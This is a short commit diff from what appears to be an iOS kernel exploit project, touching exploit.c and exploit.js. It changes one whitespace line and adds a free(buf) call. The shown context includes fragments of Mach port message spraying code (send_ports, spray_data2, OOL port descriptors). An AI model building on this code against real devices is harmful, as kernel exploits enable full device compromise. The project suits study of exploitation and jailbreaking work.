diff options
Diffstat (limited to 'src/js/kexp')
| -rw-r--r-- | src/js/kexp/exploit.c | 2 | ||||
| -rwxr-xr-x | src/js/kexp/exploit.js | 2 |
2 files changed, 2 insertions, 2 deletions
diff --git a/src/js/kexp/exploit.c b/src/js/kexp/exploit.c index 2504040..b33a74c 100644 --- a/src/js/kexp/exploit.c +++ b/src/js/kexp/exploit.c @@ -576,7 +576,7 @@ kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, ma InP->Head.msgh_id = 1337; return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); -} +} uint32_t spray_data2(char *data, size_t datasize, unsigned count) { diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 3e874a7..e0ef574 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -264,7 +264,7 @@ function send_ports(target, payload, num, number_port_descs) { write_u32(buf + req_head_msgh_id, 1337); var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); - + free(buf); printf("%d %s\n", ret, mach_error_string(ret)); |
